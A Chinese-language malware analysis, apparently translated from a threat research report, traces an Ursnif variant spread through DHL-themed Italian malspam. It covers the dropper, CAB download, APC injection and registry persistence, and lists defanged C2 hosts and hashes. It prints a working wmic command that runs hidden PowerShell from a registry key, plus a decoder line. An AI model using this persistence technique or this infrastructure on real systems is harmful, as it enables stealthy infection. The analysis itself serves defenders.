导语:最近几周,臭名昭著的Ursnif恶意软件的一个新变种攻击意大利用户,Yoroi-Cybaze ZLAB对其感染过程进行了详尽分析。
一、简介
最近几周,臭名昭著的Ursnif恶意软件的一个新变种通过malspam行动攻击意大利用户。实际上,Yoroi-Cybaze ZLAB隔离了几封具有以下内容的恶意电子邮件:
· Subject: “VS Spedizione DHL AWB 94856978972 proveniente dalla GRAN BRETAGNA AVVISO DI GIACENZA”
· Attachment: “GR930495-30495.zip”
附件的内容是.js文件,加载时通过从Internet下载其他组件来启动感染。
二、Dropper
最初的dropper是一个混淆的javascript。一旦运行,它会产生大量嘈杂的互联网流量,目的是加强对真实恶意基础设施的检测;从下图中我们可以看到,该脚本包含一系列随机查找的URL,但未成功尝试连接,从而在分析环境中产生大量噪音。
图1:恶意软件试图连接以产生噪声的硬编码URL
图2:生成的互联网流量噪音
但是,javascript执行的真正恶意操作是在“%APPDATA%\ Roaming \ 325623802.bat”路径下创建批处理文件。该文件是一个包含以下代码的简单脚本文件:
图3:提取的批处理文件
脚本执行时弹出一个无害的“联邦快递”手册,使用pdf格式来诱骗受害者,同时从一个受感染的中文网站上下载托管的CAB档案并从中提取一个PE32可执行文件。
图4:显示给用户的pdf
三、第二阶段
感染链的第二阶段是dropper下载到“%APPDATA%\Roaming”位置的ppc.cab文件:它实际上是一个嵌入名为puk.exe可执行文件的Microsoft Cabinet存档。puk.exe文件及时生成自己进程的新副本以使调试更加困难,然后启动多个Internet Explorer进程实例以隐藏其在合法进程内的网络活动。
图5:原始puk.exe生成的进程
iexplore.exe进程生成的网络流量指向远程目标149.129.129.1(ALICLOUD-IN)和47.74.131.146(AL-3),它们是攻击者的恶意基础结构的一部分。
图6:C2网络流量
C2通信中识别的旗标与Gozi/Ursnif/IFSB/Dreambot恶意软件变体一致。此外,样本采用的特定/wpapi/基本网址与当年跟踪的几个malspam行动相匹配(rif EW.N070618,N030618,N010318)。
图7:恶意软件的旗标请求
四、持久性
恶意软件的第三阶段旨在确保其长期持续存在于受感染系统中。它设置一个包含二进制数据块的特定注册表项:“HKEY_CURRENT_USER\Software\AppDataLow\Software\Microsoft\6C174C70-DB2B-7E6F-C560-3F92C994E3E6”
图9:恶意软件写入的注册表项
在上面显示的注册表项中有一个名为“ddraxpps”的条目:此特殊名称也被用于1月份分析的其他Ursnif样本的持久性机制。此外,恶意软件配置一个名为“comuroxy”的键,其中包含一个wmic “process call create”命令,用于调用“ddraxpps”条目中的powershell代码:
:C:\Windows\system32\wbem\wmic.exe /output:clipboard process call create "powershell -w hidden iex([System.Text.Encoding]::ASCII.GetString((get-itemproperty 'HKCU:\Software\AppDataLow\Software\Microsoft\6C174C70-DB2B-7E6F-C560-3F92C994E3E6').ddraxpps))".
“ddraxpps”注册表项存储十六进制字符串可以使用简单的hex-to-ascii转换进行解码,其内容实际上是下面混淆的PowerShell代码:
图10:“ddraxpps”键的主体
第一行代码显示了一组命令,允许执行以十进制格式编码的某种有效载荷。第二行的数字数组为十进制表示的实际可执行有效载荷。
$sagsfg="qmd";function ndltwntg{$sxpjuhsps=[System.Convert]::FromBase64String($args[0]);[System.Text.Encoding]::ASCII.GetString($sxpjuhsps);};
第三行包含一个base64编码的PowerShell片段,揭示了已知有效载荷注入技术的用法:“APC注入”或“AtomBombing”,用于感染“iexplore.exe”进程。
图11:“ddraxpps”键第三行的命令
图11中所示的所有命令都是执行APC注入操作所必需的:在第一个变量“$ jtwhasq”中,导入了必要的库kernel32.dll,特别是函数GetCurrentProcess和VirtualAllocEx。第二行提供函数GetCurrentThreadId,QueueUserAPC,OpenThread的导入。第三行包含实际注入:前两行包含所有导入、函数和相关参数的准备,第三行负责执行实际的APC注入。第一步是使用当前进程的VirtualAllocEx函数正确创建虚拟空间,这要归功于GetCurrentProcess。然后将恶意软件复制到虚拟空间,最后使用QueueUserAPC函数,注入到iexplore.exe进程的本地线程。
五、总结
最后,整个感染链可归纳为四个阶段:生成网络噪声以隐藏攻击者的基础设施,下载可执行的有效载荷,通过注册表项实现持久性以及检查和下载Ursnif模块。
图12.感染链
IoC
Dropurl:
· hxxp:// groupschina.]com/tss/ppc.cab
C2:
· 149.129.129.1
· 47.74.131.146
· 176.9.118.142
· grwdesign[.com
· rest.relonter[.at
· web2003.uni[.net
· web2341.uni5[.net
· in.ledalco[.at
· int.nokoguard[.at
· io.ledalco[.at
· rest.relonter[.at
· apt.melotor[.at
· torafy[.cn
Hash:
· 81798ea125359ca4e618a5619cd856f95f3fb809f5f3022a42563bd3b627f2ca puk.exe
· 076a2fea06c3605927bd0d3acc4ed11db3c36a829aced06081c2e3ac9971f347 35623802.bat
· f2cd58860b6085b63634980a641ebcd9b4148982d681cad88f00b08b341c7bc1 ppc.cab
Yara rule